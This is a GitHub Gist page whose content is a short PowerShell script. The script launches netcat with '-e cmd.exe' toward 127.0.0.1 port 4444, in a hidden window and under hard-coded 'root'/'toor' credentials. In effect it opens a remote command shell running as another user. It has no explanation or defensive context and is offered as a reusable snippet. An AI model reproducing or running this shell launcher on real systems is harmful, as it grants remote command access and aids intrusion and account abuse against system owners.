Skip to content

Instantly share code, notes, and snippets.

@postworthy
Last active January 1, 2020 05:29
Show Gist options
  • Save postworthy/007d02a6b7179b18cb1f38d40483fab8 to your computer and use it in GitHub Desktop.
Save postworthy/007d02a6b7179b18cb1f38d40483fab8 to your computer and use it in GitHub Desktop.
$cmd="nc.exe";
$args="127.0.0.1 4444 -e cmd.exe";
$user="root";
$pass= ConvertTo-SecureString "toor" -AsPlainText -Force;
$p = New-Object System.Diagnostics.Process;
$p.StartInfo.FileName = $cmd;
$p.StartInfo.Arguments = $args;
$p.StartInfo.CreateNoWindow = $True;
$p.StartInfo.UseShellExecute = $False;
$p.StartInfo.UserName = $user;
$p.StartInfo.Password = $pass;
$p.Start();
$p.WaitForExit();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment